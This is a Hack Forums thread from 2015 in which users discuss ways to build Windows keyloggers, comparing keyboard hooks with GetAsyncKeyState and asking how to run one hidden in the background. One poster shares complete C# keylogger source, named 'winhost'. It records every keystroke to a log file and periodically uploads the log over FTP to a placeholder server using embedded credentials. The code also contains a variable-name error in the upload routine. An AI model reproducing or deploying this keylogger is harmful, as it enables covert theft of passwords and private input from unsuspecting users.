

Forum:[Hack Forums](#)

Thread: [Do all Windows keyloggers need to monitor Windows hooks?](#)

FeatureBug - July 21, 2015, 11:09 am

I've been looking into how Windows keyloggers are developed and the only ones I can find function by monitoring the WH_KEYBOARD_LL hook or similar hooks.

Is this the only practical way to develop a keylogger? If so this limits the programming languages available to develop one. I've been looking into developing one in some newer languages, but the only ones that have libraries that have this functionality are languages like C, C#, C++, Java, VB.

Are there any other languages you can develop effective keyloggers in? What ways are there to log key presses on Windows without using Windows hooks?

Thanks in advance for any advice!

Mouse? - July 21, 2015, 1:18 pm

In order of question marks:

No. You can also use GetAsyncKeyState, which is less practical and less efficient but easier(? I guess. Not really.)

There are other ways, but they are not practical at all and you also can't do them in any other language than the ones you mentioned (some methods can't be done by all the languages you mentioned.)

No. (Autoit? I wouldn't call that effective.)

GetAsyncKeyState(), ... A hardware keylogger?

_Simba - July 21, 2015, 11:35 pm

You pretty much nailed the only languages that run on the machine and thus have an ability to hook key strokes. That's functionality you won't get in say, a java virtual machine. Hooking is the only real way to get it done. Here's what I wrote in C# it's easy and efficient, feel free to use or modify it.

Code If you want something in C# that I made, take a look at this. Just compile it.

[code] /*

Copyright (C) 2015 Simba

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.

*/

using System;
using System.Runtime.InteropServices;

```
using System.Threading;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Text;
```

```
namespace winhost
```

```
{
    class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void Main(string[] args)
        {

            StartLog();
        }

        public static void uploader()
        {
            /* Intialize communication with a ftp server */
            FtpWebRequest request =
(FtpWebRequest)WebRequest.Create("ftp://yoursiteorIP.xxx/data.log");
            request.Method = WebRequestMethods.Ftp.UploadFile;

            /* Replace with your credentials. */
            request.Credentials = new NetworkCredential("User", "Pass");

            /* Create Stream and Upload */
            StreamReader sourceStream = new StreamReader("data.log");
            byte[] fileInfo = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd());
            sourceStream.Close();
            request.ContentLength = fileInfo.Length;
            Stream requestStream = request.GetRequestStream();
            requestStream.Write(fileContents, 0, fileContents.Length);
            requestStream.Close();

        }

        static void StartLog()
        {

            /*Create or Find the log file */
            String key;
            int letterCount = 0;
            int lineCount = 1;
            string path = @"data.log";

            while (true)
            {
                Thread.Sleep(0);
                for (Int32 i = 0; i < 255; i++)
                {
```

```

int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
    letterCount++;
    key = ((Keys)i).ToString();

    if (!File.Exists(path))
    {
        string createText = " " + key + Environment.NewLine;
        File.WriteAllText(path, createText);
    }

    /* Formatting Checks */
    string appendText = key;
    if (key.Equals("Space"))
    {
        appendText = " ";
    }
    if (key.Equals("LButton") || key.Equals("RButton"))
    {
        appendText = "";
    }
    File.AppendAllText(path, appendText);

    /* Prints 10 lines of 100 inputs before uploading */
    if (letterCount % 100 == 0)
    {
        Console.WriteLine(letterCount);
        string appendTxt = Environment.NewLine;
        File.AppendAllText(path, appendTxt);
        lineCount++;
        if (lineCount % 10 == 0)
        {
            Console.WriteLine(lineCount);
            uploader();
        }
        break;
    }
}
}
}
}
}
}
}
}[/code]

```

FeatureBug - July 22, 2015, 12:20 am

(Jul 21, 2015 01:18 PM)#Mouse Wrote: [CITE](#) In order of question marks:

No. You can also use GetAsyncKeystate, which is less practical and less efficient but easier(? I guess. Not really.)

There are other ways, but they are not practical at all and you also can't do them in any other language than the ones you mentioned (some methods can't be done by all the languages you mentioned.)

No. (Autoit? I wouldn't call that effective.)

GetAsyncKeystate(), ... A hardware keylogger?

Okay, that's quite disappointing in all honesty, but fair enough.

I took a look into [GetAsyncKeyState\(\)](#) and it says it won't work (Or returns 0) if the foreground thread belongs to another process and the desktop does not allow the hook or the journal record.

How does that work if I want to make the keylogger run as a background process with no console window? Or am I misunderstanding what that means?

Rhez - July 22, 2015, 3:29 am

(Jul 22, 2015 12:20 AM)FeatureBug Wrote: [\[CITE\]](#) How does that work if I want to make the keylogger run as a background process with no console window? Or am I misunderstanding what that means?

It still run and get the keys. But there's a delay when u used GetAsyncKeyState.

FeatureBug - July 22, 2015, 3:39 am

(Jul 22, 2015 03:29 AM)Rhez Wrote: [\[CITE\]](#) It still run and get the keys. But there's a delay when u used GetAsyncKeyState.

It seems like it's a "hopeful" program. In any case, using GetAsyncKeyState limits me even further with the available languages so you may as well use Windows hooks.

Thanks for the help everyone, bit of a disappointing answer, but at least I know now!